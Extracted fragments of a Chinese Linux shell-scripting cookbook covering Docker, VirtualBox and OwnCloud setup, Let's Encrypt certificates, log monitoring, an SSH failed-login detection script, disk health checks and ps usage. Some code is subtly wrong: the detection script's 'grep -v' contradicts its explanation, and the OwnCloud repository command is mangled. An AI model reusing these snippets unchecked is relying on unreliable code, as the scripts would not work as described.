    {"text": " docker pull：将指定名称的容器拉取到系统中。  docker run：运行容器中的应用程序。  dockerps：列出正在运行的Docker容器。  docker attach：附着到正在运行的容器。  docker stop：停止容器。  dockerrm：删除容器。"},
    {"text": "1. 查找容器 docker search命令会返回匹配指定关键字的Docker容器列表： docker search TERM 这里，TERM是一个包含字母和数字的字符串（不支持通配符）。 下面的search命令返回了25个名称中包含指定字符串的容器： # docker search apache NAME DESCRIPTION STARS OFFICIAL AUTOMATED eboraas/apache Apache (with SSL support) 70 [OK] bitnami/apache Bitnami Apache Docker 25 [OK] apache/nutch Apache Nutch 12 [OK] apache/marmotta Apache Marmotta 4 [OK] lephare/apache Apache container 3 [OK] 13.3 使用 Docker 379 其中，STARS表示的是该容器的评级。"},
    {"text": "下载到的容器会被添加到本地系统，通常保存在 /var/lib/docker： 3 # docker pull lephare/apache latest: Pulling from lephare/apache 425e28bb756f: Pull complete ce4a2c3907b1: Extracting [======================> ] 2.522 MB/2.522 MB 4 40e152766c6c: Downloading [==================> ] 2.333 MB/5.416 MB db2f8d577dce: Download complete Digest: sha256:e11a0f7e53b34584f6a714cc4dfa383cbd6aef1f542bacf69f5fccefa0108ff8 5 Status: Image is up to date for lephare/apache:latest 3. 启动Docker容器 6 docker run命令可以在容器中启动一个进程。"},
    {"text": "11 下面的例子在之前拉取到的容器中启动了bash shell： # docker run -t -i -d --name leph1 lephare/apache /bin/bash 1d862d7552bcaadf5311c96d439378617d85593843131ad499... 12 4. 列出Docker会话 dockerps命令可以列出当前运行的Docker会话： # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 123456abc lephare/apache /bin/bash 10:05 up 80/tcp leph1 13 380 第 13 章 在云端 选项-a可以列出系统中所有的Docker容器，不管这些容器是否正在运行。"},
    {"text": "下面的例子中创建了一个HTML页面，然后在容器中启动了Apache Web服务器： $ docker attach leph1 root@131aaaeeac79:/# cd /var/www root@131aaaeeac79:/var/www# mkdir symfony root@131aaaeeac79:/var/www# mkdir symfony/web root@131aaaeeac79:/var/www# cd symfony/web root@131aaaeeac79:/var/www/symfony/web# echo \"<html><body><h1>It's Alive</h1></body></html>\" >index.html root@131aaaeeac79:/# cd /etc/init.d root@131aaaeeac79:/etc/init.d# ./apache2 start [....] Starting web server: apache2/usr/sbin/apache2ctl: 87: ulimit: error setting limit (Operation not permitted) Setting ulimit failed. See README.Debian for more information. AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.5. Set the 'ServerName' directive globally to suppress this message . ok 浏览172.17.0.5，会显示出内容为It’s Alive的页面。"},
    {"text": "使用容器名或标识符都可以完 成删除操作： # dockerrm leph1 或者 # docker rm 131aaaeeac79 13.4 在 Linux 中使用虚拟机 381 13.3.3 工作原理 1 Docker容器和lxc容器一样都利用了内核的namespace和cgroup支持。"},
    {"text": "如果要在Debian 9上安装VirtualBox，需要添加virtualbox.org的仓库： 10 # vi /etc/apt/sources.list ## ADD: deb http://download.virtualbox.org/virtualbox/debian stretch contrib 11 需要使用curl包来安装相应的密钥。 如果还没有安装这个包，先安装，再添加密钥并更新 仓库信息： 12 # apt-get install curl # curl -O https://www.virtualbox.org/download/oracle_vbox_2016.asc # apt-key add oracle_vbox_2016.asc # apt-get update 更新过仓库之后，使用apt-get安装VirtualBox： 13 382 第 13 章 在云端 # apt-get install virtualbox-5.1 OpenSuSE # zypper install gcc make kernel-devel Open yast2, select Software Management, search for virtualbox. Select virtualbox, virtualbox-host-kmp-default, and virtualbox-qt. 13.4.2 实战演练 安装好VirtualBox之后，开始菜单中会出现相应的菜单项，可能是在System或Applications/ System Tools的下面。"},
    {"text": "OwnCloud包可以将Linux服务器转换成私有云存储系统。 你可以使用OwnCloud服务器作为公 司私有的文件共享系统，或是用作手机、平板电脑的远程备份。"},
    {"text": "大多数发行版的仓库中并没有OwnCloud服务器。 不过OwnCloud项目维护了自己的仓库，用 于支持各种发行版。 在安装之前，你需要自行添加OwnCloud仓库。"},
    {"text": "只是包的名字在不同的发行版之间会有所不同： 2 apt-get install apache2 apt-get install mysql-server php-mysql 3 默认设置无法满足OwnCloud的安全要求。 mysql_secure_installation脚本可以对MySQL作出相 应的配置： /usr/bin/mysql_secure_installation 4 配置OwnCloud仓库： curl \\ https://download.owncloud.org/download/repositories/stable/ \\ 5 Ubuntu_16.10/Release.key/'| sudo tee \\ /etc/apt/sources.list.d/owncloud.list apt-get update 6 设置好仓库之后，就可以安装并启动服务器了： apt-get install owncloud 7 2. OpenSuSE Tumbleweed 8 可以使用Yast2在OpenSuSE上安装LAMP。 打开yast2，选择Software Management，然后安装 apache2、mysql和owncloud-client。"},
    {"text": "添加好仓库之后，就可以向平常那样安装OwnCloud包了： rpm --import https://download.owncloud.org/download/repositories/stable/openSUSE_Leap_42 .2/repodata/repomd.xml.key zypperaddrepo http://download.owncloud.org/download/repositories/stable/openSUSE_Leap_42 13 384 第 13 章 在云端 .2/ce:stable.repo zypper refresh zypper install owncloud 13.5.2 实战演练 安装好OwnCloud之后就可以配置管理员账户并添加用户了。"},
    {"text": "配置OwnCloud OwnCloud安装完毕之后，可以在浏览器中输入本地地址进行配置： $ konqueror http://127.0.0.1/owncloud 一开始会提示输入管理员用户名和密码。"},
    {"text": "你可以从商业公司购买安全证书，然后制作供自己使用的自签名证书，或者也可以使用 Let’s Encrypt （http://letsencrypt.org）创建免费证书。"},
    {"text": "如果你使用的是常见的Web服务器，例如Nginx或Apache，设置证书最简单的方法就是使用 EFF（Electronic Frontier Foundation）的certbot： # wget https://dl.eff.org/certbot-auto # chmod a+x certbot-auto # ./certbot-auto 13.5 云端的 Linux 385 该程序会添加新的软件包并将新证书安装到合适的位置。"},
    {"text": "5 切换进getssl_master目录，创建配置文件： # cd getssl_master # getssl -c DOMAIN.com 6 将其中的DOMAIN替换成你自己的域名。 7 这一步会创建$HOME/.getssl和$HOME/.getssl/DOMAIN.COM目录并分别在其中生成文件 getssl.cfg。"},
    {"text": "编辑~/.getssl/getssl.cfg，加入你的电子邮件地址： 8 ACCOUNT_EMAIL='myName@mySite.com' 其余字段的默认值适用于大部分站点。 9 接下来编辑~/.getssl/DOMAIN.com/getssl.cfg。"},
    {"text": "11 如果Web页面保存在/var/web/DOMAIN，你可以像下面这样做： # mkdir /var/web/DOMAIN/.well-known 12 # mkdir /var/web/DOMAIN/.well-known/acme-challenge # chownwebUser.webGroup /var/web/DOMAIN/.well-known # chownwebUser.webGroup /var/web/DOMAIN/.well-known/acme-challenge ACL设置类似如下： ACL=\"/var/web/DOMAIN/.well-known/acme-challenge\" USE_SINGLE_ACL=\"true\" 13 386 第 13 章 在云端 你还得定义证书的存放位置。"},
    {"text": "例如，如果证书被存放 在/ver/web/certs，那么应该像下面这样设置： DOMAIN_CERT_LOCATION=\"/var/web/certs/DOMAIN.crt\" DOMAIN_KEY_LOCATION=\"/var/web/certs/DOMAIN.key\" CA_CERT_LOCATION=\"/var/web/certs/DOMAIN.com.bundle\" 另外还必须设置ACME协议的测试类型。"},
    {"text": "其默 认值效果通常最好是： SERVER_TYPE=\"https\" CHECK_REMOTE=\"true\" 完成上述编辑步骤后，执行下列命令测试： ./getssl DOMAIN.com 该命令和之前第一个命令很像，但是不包含-c（create）选项。"},
    {"text": "如果配置文件没有问题，修改其中的服务器字段，将其改为实际的Let's Encrypt服务器： CA=\"https://acme-v01.api.letsencrypt.org\" 最后再运行一次带有-f选项getssl脚本，强制重建并替换掉之前的文件： ./getssl -f DOMAIN.com 你可能需要重启Web服务器或系统才能识别新的文件。"},
    {"text": "技术改变世界·阅读塑造人生 Linux 命令行与 shell 脚本编程大全（第 3 版） 圣经级参考书最新版，亚马逊书店五星推荐 轻松全面掌握Linux命令行和shell脚本编程细节，实现Linux系统任务自动化 作者：Richard Blum , Christine Bresnahan 译者：门佳，武海峰 精通 Linux 内核网络 最详尽的Linux内核网络专著 深入剖析IPsec、Wireless、InfiniBand等重要内核网络子系统 作者：Rami Rosen 译者：袁国忠 只是为了好玩：Linux 之父林纳斯自传 林纳斯唯一亲笔自传，充满各种笑料以及对技术和软件的严肃思考 作者：Linus Torvalds , David Diamond 译者：陈少芸 技术改变世界·阅读塑造人生 C++ 性能优化指南 精选编程中频繁使用和能够带来显著性能提升效果的技术 作者：Kurt Guntheroth 译者：杨文轩 Kafka 权威指南 Kafka核心作者和业界一流一线人员共同执笔 全面介绍Kafka设计原理和架构细节 作者：Neha Narkhede，Gwen Shapira，Todd Palino 译者：薛命灯 用户思维 +：好产品让用户为自己尖叫 颠覆以往所有产品设计观 好产品=让用户拥有成长型思维模式和持续学习能力 极客邦科技总裁池建强、公众号二爷鉴书出品人邱岳作序推荐 《结网》作者王坚、《谷歌和亚马逊如何做产品》译者刘亦舟、前端工程 师梁杰、优设网主编程远联合推荐 作者：Kathy Sierra 译者：石航"},
    {"text": "9.7 记录文件及目录访问情况 287 着重标记 watch 输出中的差异 1 选项-d能够着重标记出连续的命令输出之间的差异： $ watch -d 'COMMANDS' 2 # 以 30 秒为间隔，着重标记出新的网络连接 $ watch -n 30 -d 'ss | grep ESTAB' 3 9.7 记录文件及目录访问情况 出于各种原因，我们需要清楚文件何时被访问。"},
    {"text": "7 9.7.2 实战演练 inotifywait命令可以用来监视目录： 8 #/bin/bash # 文件名 : watchdir.sh # 用途 : 监视目录访问 path=$1 9 # 将目录或文件路径作为脚本参数 inotifywait -m -r -e create,move,delete $path -q 输出样例如下： 10 $ ./watchdir.sh . ./ CREATE new ./ MOVED_FROM new 11 ./ MOVED_TO news ./ DELETE news 12 9.7.3 工作原理 上面的脚本能够记录指定路径中的创建、移动以及删除事件。"},
    {"text": "表 9-2 事 件 描 述 access 读取文件 modify 文件内容被修改 attrib 文件元数据被修改 move 文件移动操作 create 创建新文件 open 文件打开操作 close 文件关闭操作 delete 文件被删除 9.8 使用 syslog 记录日志 与守护进程和系统进程相关的日志文件位于/var/log目录中。"},
    {"text": "表 9-3 日志文件 描 述 /var/log/boot.log 系统启动信息 /var/log/httpd Apache Web服务器日志 /var/log/messages 内核启动信息 /var/log/auth.log 用户认证日志 /var/log/secure /var/log/dmesg 系统启动信息 /var/log/mail.log 邮件服务器日志 /var/log/maillog /var/log/Xorg.0.log X服务器日志 9.8 使用 syslog 记录日志 289 9.8.2 实战演练 1 在脚本中可以使用logger命令创建及管理日志。 (1) 向日志文件/var/log/messages中写入信息： 2 $ logger LOG_MESSAGE 例如： 3 $ logger This is a test log line $ tail -n 1 /var/log/messages Sep 29 07:47:44 slynux-laptop slynux: This is a test log line 4 /var/log/messages是一个通用日志文件。 如果使用logger命令，它默认将日志写入 /var/log/messages中。 5 (2) 选项-t可以定义消息标签： $ logger -t TAG This is a message 6 $ tail -n 1 /var/log/messages Sep 29 07:48:42 slynux-laptop TAG: This is a message 选项-p和/etc/rsyslog.d/目录下的配置文件决定了日志消息保存到何处。"},
    {"text": "9 考虑下面的例子： # cat /etc/rsyslog.d/myConfig local7.* /var/log/local7 10 # cd /etc/init.d # ./syslogd restart # logger -p local7.info # 一行日志被写入 /var/log/local7 (3) 选项-f可以将其他文件的内容记录到系统日志中： 11 $ logger -f /var/log/source.log 12 9.8.3 参考 3.13节讲解了head和tail命令。"},
    {"text": "它只保留文件中最近添加的100KB内容（假设指定了SIZE = 100k），将多出的数据 （旧的日志数据）不断移入新文件logfile_name.1。 当该文件（logfile_name.1）中的内容超出了SIZE 的 限 定 ， logrotate 会 将 其 重 命 名 为 logfile_name.2 并 再 创 建 一 个 新 的 logfile_name.1 ① 。 logrotate命令还会将旧的日志文件压缩成logfile_name.1.gz、logfile_name.2.gz，以此类推。"},
    {"text": "我们可以为自己的日志文件（比如/var/log/program.log）编写一个自定义的配置： $ cat /etc/logrotate.d/program /var/log/program.log { missingok notifempty size 30k compress weekly rotate 5 create 0600 root root } 这就是全部的配置。"},
    {"text": "9.10 通过监视用户登录找出入侵者 291 表 9-4 1 参 数 描 述 missingok 如果日志文件丢失，则忽略并返回（不对日志文件进行轮替） notifempty 仅当源日志文件非空时才对其进行轮替 2 size 30k 限制执行轮替的日志文件的大小。"},
    {"text": "在这里指定的是5，所以这些文件名将会是 program.log.1.gz、program.log.2.gz … program.log.5.gz create 0600 root root 指定所要创建的归档文件的权限、用户以及用户组 4 上表中给出了一些选项示例。"},
    {"text": "12 9.10.2 实战演练 入侵检测脚本如下： 14 292 第 9 章 明察秋毫 #!/bin/bash # 文件名 :intruder_detect.sh # 用途 : 入侵报告工具，以 auth.log 作为输入 AUTHLOG=/var/log/auth.log if [[ -n $1 ]]; then AUTHLOG=$1 echo Using Log file : $AUTHLOG fi # 采集失败的登录记录 LOG=/tmp/failed.$$.log grep -v \"Failed pass\" $AUTHLOG > $LOG # 提取登录失败的用户名 users=$(cat $LOG | awk '{ print $(NF-5) }' | sort | uniq) # 提取登录失败用户的 IP 地址 ip_list=\"$(egrep -o \"[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+\" $LOG | sort | uniq)\" printf \"%-10s|%-3s|%-16s|%-33s|%s\\n\" \"User\" \"Attempts\" \"IP address\" \\ \"Host\" \"Time range\" # 遍历登录失败的 IP 地址和用户 for ip in $ip_list; do for user in $users; do # 统计来自该 IP 的用户尝试登录的次数 attempts=`grep $ip $LOG | grep \" $user \" | wc -l` if [ $attempts -ne 0 ] then first_time=`grep $ip $LOG | grep \" $user \" | head -1 | cut -c-16` time=\"$first_time\" if [ $attempts -gt 1 ] then last_time=`grep $ip $LOG | grep \" $user \" | tail -1 | cut -c-16` time=\"$first_time -> $last_time\" fi HOST=$(host $ip 8.8.8.8 | tail -1 | awk '{ print $NF }' ) printf \"%-10s|%-3s|%-16s|%-33s|%-s\\n\" \"$user\" \"$attempts\" \"$ip\"\\ \"$HOST\" \"$time\"; fi done done rm $LOG 输出结果如下： Using Log file : secure 9.11 监视远程磁盘的健康情况 293 User |Attempts|IP address|Host |Time range 1 pi |1 |10.251.90.93 |3(NXDOMAIN) |Jan 2 03:50:24 root |1 |10.56.180.82 |2(SERVFAIL) |Dec 26 04:31:29 root |6 |10.80.142.25 |example.com |Dec 19 07:46:49 -> Dec 19 07:47:38 2 9.10.3 工作原理 脚本intruder_detect.sh默认使用/var/log/auth.log作为输入。"},
    {"text": "如果登录失败，SSH会记录类似于下面的日志信息： 4 sshd[21197]: Failed password for bob1 from 10.83.248.32 port 50035 脚本会利用grep命令找出含有字符串Failed passw的行，然后将其放入/tmp/failed.$$.log中。"},
    {"text": "如 果某个IP/User（IP/用户名）组合尝试登录的次数大于0，使用grep、head和cut命令提取出第一 7 次登录的时间。 如果尝试登录的次数大于1，则使用tail提取出最后一次登录的时间。"},
    {"text": "如果有一个自动化脚本能够检查网络上的设备并生成一行报告，其中包括日期、主机IP地址、 设备、设备容量、占用空间、剩余空间、使用比例以及健康状况，那工作可就轻松多了。"},
    {"text": "9.11.2 实战演练 下面是实现代码： #!/bin/bash #文件名: disklog.sh #用途: 监视远程系统的磁盘使用情况 logfile=\"diskusage.log\" if [[ -n $1 ]] then logfile=$1 fi #使用环境变量或是采用硬编码的方式指定用户名 user=$USER #提供远程主机的IP地址列表 IP_LIST=\"127.0.0.1 0.0.0.0\" #或者在脚本运行时使用nmap收集 #IP_LIST=`nmap -sn 192.168.1.2-255 | grep scan | grep cut -c22-` if [ ! -e $logfile ] then printf \"%-8s %-14s %-9s %-8s %-6s %-6s %-6s %s\\n\" \\ \"Date\" \"IP address\" \"Device\" \"Capacity\" \"Used\" \"Free\" \\ \"Percent\" \"Status\" > $logfile fi ( for ip in $IP_LIST; do ssh $user@$ip 'df -H' | grep ^/dev/ > /tmp/$$.df while read line; do cur_date=$(date +%D) printf \"%-8s %-14s \" $cur_date $ip echo $line | \\ awk '{ printf(\"%-9s %-8s %-6s %-6s %-8s\",$1,$2,$3,$4,$5); }' pusg=$(echo $line | egrep -o \"[0-9]+%\") pusg=${pusg/\\%/}; if [ $pusg -lt 80 ] then echo SAFE else echo ALERT 9.12 确定系统中用户的活跃时段 295 fi 1 done< /tmp/$$.df done ) >> $logfile 2 cron命令能够定时调度脚本执行。 例如，要想在每天上午10点运行该脚本，可以在crontab 中写入以下条目： 3 00 10 * * * /home/path/disklog.sh /home/user/diskusg.log 执行命令crontab -e，添加上面一行。 4 你也可以手动执行脚本： $ ./disklog.sh 5 脚本的输出如下： 01/18/17 192.168.1.6 /dev/sda1 106G 53G 49G 52% SAFE 01/18/17 192.168.1.6 /dev/md1 958G 776G 159G 84% ALERT 6 9.11.3 工作原理 7 脚本disklog.sh可以接受以命令行参数形式指定的日志文件，否则就使用默认的日志文件。"},
    {"text": "12 9.12 确定系统中用户的活跃时段 这则攻略利用系统日志找出每个用户在服务器上停留了多久，并根据时间长短对其划分等 14 296 第 9 章 明察秋毫 级，最后生成一份报告，其中包括等级、用户名、首次登录时间、最后登录时间、登录次数以及 总使用时长。"},
    {"text": "9.12.2 实战演练 下面这个脚本可以找出活跃用户并生成报告： #!/bin/bash #用户名: active_users.sh #用途:查找活跃用户 log=/var/log/wtmp if [[ -n $1 ]]; then log=$1 fi printf \"%-4s %-10s %-10s %-6s %-8s\\n\" \"Rank\" \"User\" \"Start\" \\ \"Logins\" \"Usage hours\" last -f $log | head -n -2 > /tmp/ulog.$$ cat /tmp/ulog.$$ | cut -d' ' -f1 | sort | uniq> /tmp/users.$$ ( while read user; do grep ^$user /tmp/ulog.$$ > /tmp/user.$$ minutes=0 while read t do s=$(echo $t | awk -F: '{ print ($1 * 60) + $2 }') let minutes=minutes+s done< <(cat /tmp/user.$$ | awk '{ print $NF }' | tr -d ')(') firstlog=$(tail -n 1 /tmp/user.$$ | awk '{ print $5,$6 }') nlogins=$(cat /tmp/user.$$ | wc -l) hours=$(echo \"$minutes / 60.0\" | bc) printf \"%-10s %-10s %-6s %-8s\\n\" $user \"$firstlog\" $nlogins $hours done< /tmp/users.$$ 9.13 电源使用情况的测量与优化 297 ) | sort -nrk 4 | awk '{ printf(\"%-4s %s\\n\", NR, $0) }' 1 rm /tmp/users.$$ /tmp/user.$$ /tmp/ulog.$$ 输出如下： $ ./active_users.sh 2 Rank User Start Logins Usage hours 1 easyibaa Dec 11 531 349 2 demoproj Dec 10 350 230 3 kjayaram Dec 9 213 55 3 4 cinenews Dec 11 85 139 5 thebenga Dec 10 54 35 6 gateway2 Dec 11 52 34 7 soft132 Dec 12 49 25 4 8 sarathla Nov 1 45 29 9 gtsminis Dec 11 41 26 10 agentcde Dec 13 39 32 5 9.12.3 工作原理 脚本active_users.sh接收以命令行参数形式提供的日志文件，否则就读取默认的日志文 6 件/var/log/wtmp。"},
    {"text": "9.13.2 实战演练 powertop能够测量每个电源模块的消耗，支持交互式的电源优化。 如果不加任何选项，powertop将直接在终端上输出： # powertop powertop会开始测量并显示出有关电源使用情况、耗电最多的进程等详细信息： PowerTOP 2.3 Overview Idle stats Frequency stats Device stats Tunable Summary: 1146.1 wakeups/sec, 0.0 GPU ops/secs, 0.0 VFS ops/sec and 73.0% C Usage Events/s Category Description 407.4 ms/s 258.7 Process /usr/lib/vmware/bin/vmware 64.8 ms/s 313.8 Process /usr/lib64/firefox/firefox 选项-html会使得powertop测量一段时间，然后生成一份默认名称为PowerTOP.html的 HTML报表，你可以使用Web浏览器来查看： # powertop --html 你可以在交互模式中优化电源使用。"},
    {"text": "9.14 监视磁盘活动 监视类工具流行的命名方式以单词top（一个进程监视命令）作为结尾，依照这种命名习惯， 磁盘I/O监视工具就叫作iotop。"},
    {"text": "3 (2) 选项-n指示iotop执行 N 次后退出： # iotop -b -n 2 4 (3) 选项-p可以监视特定进程： # iotop -p PID 5 PID是你想要监视的进程。"},
    {"text": "10 9.15.2 实战演练 11 如果文件系统长时间没有检查或是出于某种原因（电源故障导致的不安全重启）怀疑文件系 统有损坏，Linux会在启动的时候自动执行fsck。"},
    {"text": "(1) 要检查分区或文件系统的错误，只需要将路径作为fsck的参数： 12 # fsck /dev/sdb3 fsck from util-linux 2.20.1 e2fsck 1.42.5 (29-Jul-2012) 14 HDD2 has been mounted 26 times without being checked, check forced. 300 第 9 章 明察秋毫 Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information HDD2: 75540/16138240 files (0.7% non-contiguous), 48756390/64529088 blocks (2) 选项-A可以检查/etc/fstab中配置的所有文件系统： # fsck -A 该命令会依次检查/etc/fstab中列出的文件系统。"},
    {"text": "使用这个选项的时候 要小心： # fsck -a /dev/sda2 (4) 选项-N可以模拟fsck要执行的操作： # fsck -AN fsck from util-linux 2.20.1 [/sbin/fsck.ext4 (1) -- /] fsck.ext4 /dev/sda8 [/sbin/fsck.ext4 (1) -- /home] fsck.ext4 /dev/sda7 [/sbin/fsck.ext3 (1) -- /media/Data] fsck.ext3 /dev/sda6 9.15.3 工作原理 fsck不过是各种文件系统特定的fsck程序的一个前端应用而已。"},
    {"text": "如果怀 疑文件系统有严重问题，先别急着直接执行fsck，而是应该使用选项-N模拟fsck将要执行的修 复操作。 如果fsck的报告中出现无法修复的问题或是其中包含被破坏的目录结构，你可能需要 以只读模式挂载设备，尝试从中提取出重要的数据。"},
    {"text": "9.16 检查磁盘健康情况 现代磁盘驱动器能够常年不出故障，但如果出现问题，那就是场灾难。 现代磁盘驱动器中都 9.16 检查磁盘健康情况 301 包含了SMART（Self-Monitoring, Analysis, and Reporting Technology，自我监测、分析及报告技术）， 1 这种技术能够监视磁盘健康情况，可以让你在出现重大故障之前替换掉不正常的驱动器。"},
    {"text": "如果没有，所以可以使用包管理器自行安装： 3 apt-get install smartmontools 或者也可以 4 yum install smartmontools 5 9.16.2 实战演练 smartmontools的用户接口是smartctl应用程序。"},
    {"text": "选项-a会报告设备的全部状态信息： 7 $ smartctl -a /dev/sda 命令输出中有基本信息的标题、原始数据值以及检测结果。 标题涵盖了被检测设备的各种细 节信息以及该报告的时间戳： 8 smartctl 5.43 2012-06-30 r3573 [x86_64-linux-2.6.32-642.11.1.el6.x86_64] (local build) Copyright (C) 2002-12 by Bruce Allen, 9 http://smartmontools.sourceforge.net === START OF INFORMATION SECTION === Device Model: WDC WD10EZEX-00BN5A0 Serial Number: WD-WCC3F1HHJ4T8 10 LU WWN Device Id: 5 0014ee 20c75fb3b Firmware Version: 01.01A01 User Capacity: 1,000,204,886,016 bytes [1.00 TB] Sector Sizes: 512 bytes logical, 4096 bytes physical 11 Device is: Not in smartctl database [for details use: -P showall] ATA Version is: 8 ATA Standard is: ACS-2 (unknown minor revision code: 0x001f) 12 Local Time is: Mon Jan 23 11:26:57 2017 EST SMART support is: Available - device has SMART capability. SMART support is: Enabled ... 14 302 第 9 章 明察秋毫 原始数据值包括错误计数、准备时间（spin-up time）①、加电时间等。"},
    {"text": "有可能是散热风扇坏了或是过滤器堵住了： ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE 9 Power_On_Hours 0x0032 087 087 000 Old_age Always - 9823 12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 11 194 Temperature_Celsius 0x0022 113 109 000 Old_age Always - 30 命令输出的最后一部分是检测结果： SMART Error Log Version: 1 No Errors Logged SMART Self-test log structure revision number 1 Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error # 1 Extended offline Completed without error 00% 9825 - 选项-t可以强迫SMART设备进行自检。"},
    {"text": "短期检测只需要几分钟时间，长期检测在大容量设备上可能得花 个把小时甚至更久： $ smartctl -t [long][short] DEVICE $ smartctl -t long /dev/sda smartctl 5.43 2012-06-30 r3573 [x86_64-linux-2.6.32-642.11.1.el6.x86_64] (local build) Copyright (C) 2002-12 by Bruce Allen, http://smartmontools.sourceforge.net === START OF OFFLINE IMMEDIATE AND SELF-TEST SECTION === Sending command: \"Execute SMART Extended self-test routine immediately in off-line mode\". Drive command \"Execute SMART Extended self-test routine immediately in offline mode\" successful. —————————— ① spin-up time指的是硬盘主轴马达的转速从0加速到正常转速时所用的时间。"},
    {"text": "9.17 获取磁盘统计数据 303 Testing has begun. 1 Please wait 124 minutes for test to complete. Test will complete after Mon Jan 23 13:31:23 2017 Use smartctl -X to abort test. 2 这次检测将耗时两个小时多一些，检测结果可以通过命令smartctl -a查看。"},
    {"text": "smartctl命令与运行在磁盘设备CPU上的小型操作系统交互，请求检测 4 并报告检测结果。 5 9.17 获取磁盘统计数据 smartctl命令可以检测磁盘并给出很多磁盘统计数据。"},
    {"text": "10 configuration部分包括在分区和格式化之前可以调校的参数： /dev/sda: 11 ATA device, with non-removable media Model Number: WDC WD10EZEX-00BN5A0 Serial Number: WD-WCC3F1HHJ4T8 Firmware Revision: 01.01A01 12 Transport: Serial, SATA 1.0a, SATA II Extensions, SATA Rev 2.5, SATA Rev 2.6, SATA Rev 3.0 Standards: Used: unknown (minor revision code 0x001f) Supported: 9 8 7 6 5 14 304 第 9 章 明察秋毫 Likely used: 9 Configuration: Logical max current cylinders 16383 16383 heads 16 16 sectors/track 63 63 -- CHS current addressable sectors: 16514064 LBA user addressable sectors: 268435455 LBA48 user addressable sectors: 1953525168 Logical Sector size: 512 bytes Physical Sector size: 4096 bytes device size with M = 1024*1024: 953869 MBytes device size with M = 1000*1000: 1000204 MBytes (1000 GB) cache/buffer size = unknown Nominal Media Rotation Rate: 7200 ... Security: Master password revision code = 65534 supported not enabled not locked not frozen not expired: security count supported: enhanced erase 128min for SECURITY ERASE UNIT. 128min for ENHANCED SECURITY ERASE UNIT. Logical Unit WWN Device Identifier: 50014ee20c75fb3b NAA : 5 IEEE OUI : 0014ee Unique ID : 20c75fb3b Checksum: correct 9.17.3 工作原理 hdparm命令是一个内核库和模块的用户接口。"},
    {"text": "选项-t和-T能够分别测试缓冲与缓存读操作（buffered and cached read）： # hdparm -t /dev/sda Timing buffered disk reads: 486 MB in 3.00 seconds = 161.86 MB/sec # hdparm -T /dev/sda Timing cached reads: 26492 MB in 1.99 seconds = 13309.38 MB/sec 10.2 收集进程信息 305 1 第 10 章 2 管理重任 3 4 本章内容  收集进程信息  数据库的形式及用法 5  which、whereis、whatis与file  读写SQLite数据库  杀死进程以及发送和响应信号  读写MySQL数据库  向用户终端发送消息  用户管理脚本 6  /proc文件系统  图像文件的批量缩放及格式转换  收集系统信息  终端截图 7  使用cron进行调度  集中管理多个终端 10.1 简介 8 GNU/Linux的生态系统是由网络、硬件、负责分配资源的操作系统内核、接口模块、系统实 用工具以及用户程序所组成的。"},
    {"text": "这些信息包括：拥有进程的用户、进程的起始时间、进程 对应的命令路径、PID、进程所属的终端（TTY）、进程使用的内存、进程占用的CPU等。"},
    {"text": "选项-f（full）可以显示多列信息： $ ps -f UID PID PPID C STIME TTY TIME CMD slynux 1220 1219 0 18:18 pts/0 00:00:00 -bash slynux 1587 1220 0 18:59 pts/0 00:00:00 ps -f 选项-e（every）和-ax（all）能够输出系统中运行的所有进程信息。"},
    {"text": "命令ps -e、ps -ef、ps -ax以及ps -axf都能够生成包含所有进程的报告，提供比ps更 多的信息： $ ps -e | head -5 PID TTY TIME CMD 1 ? 00:00:00 init 2 ? 00:00:00 kthreadd 3 ? 00:00:00 migration/0 4 ? 00:00:00 ksoftirqd/0 选项-e产生的输出内容很多。"},
    {"text": "在下面的例子中，comm代表COMMAND，pcpu代表CPU占用率： 10.2 收集进程信息 307 $ ps -eo comm,pcpu | head -5 1 COMMAND %CPU init 0.0 kthreadd 0.0 migration/0 0.0 ksoftirqd/0 0.0 2 10.2.3 工作原理 3 选项-o可以使用不同的参数，这些参数及其描述如表10-1所示。 表 10-1 4 参 数 描 述 pcpu CPU占用率 pid 进程ID 5 ppid 父进程ID pmem 内存使用率 comm 可执行文件名 6 cmd 简单命令① user 启动进程的用户 nice 优先级 7 time 累计的CPU时间 etime 进程启动后运行的时长 tty 所关联的TTY设备 8 euid 有效用户ID stat 进程状态 9 10.2.4 补充内容 ps可以配合grep以及其他工具生成定制的报告。"},
    {"text": "308 第 10 章 管理重任 请看下面的例子： $ ps -eo pid,cmd e | tail -n 1 1238 -bash USER=slynux LOGNAME=slynux HOME=/home/slynux PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin MAIL=/var/mail/slynux SHELL=/bin/bash SSH_CLIENT=10.211.55.2 49277 22 SSH_CONNECTION=10.211.55.2 49277 10.211.55.4 22 SSH_TTY=/dev/pts/0 环境信息可以帮助跟踪apt-get包管理器在使用过程中出现的问题。"},
    {"text": "确定了所需的环境变量之后，将其定义在crontab中的命令之前： 00 10 * * * DISPLAY=:0 /usr/bin/windowapp 或者 DISPLAY=:0 00 10 * * * /usr/bin/windowapp 环境变量定义DISPLAY=:0是从ps命令的输出中得到的。"},
    {"text": "2. 创建进程树状视图 ps命令能够输出进程的PID，但是从子进程一直跟踪到最终的父进程是一件非常枯燥的事。 在ps命令的尾部加上f就可以创建进程的树状视图，显示出任务之间的父子关系。"},
    {"text": "下面的例子展 示了bash shell所调用的ssh会话，前者运行在xterm中： $ ps -u clif f | grep -A2 xterm | head -3 15281 ? S 0:00 xterm 15284 pts/20 Ss+ 0:00 \\_ bash 15286 pts/20 S+ 0:18 \\_ ssh 192.168.1.2 3. 对 ps 输出进行排序 ps命令的输出默认是没有经过排序的。"},
    {"text": "参数前的+表示 升序，-表示降序： $ ps [OPTIONS] --sort -paramter1,+parameter2,parameter3.. 10.2 收集进程信息 309 例如，要列出占用CPU最多的前5个进程： 1 $ ps -eo comm,pcpu --sort -pcpu | head -5 COMMAND %CPU Xorg 0.1 hald-addon-stor 0.0 2 ata/0 0.0 scsi_eh_0 0.0 输出中显示了依据CPU占用率进行降序排列的前5个进程。"},
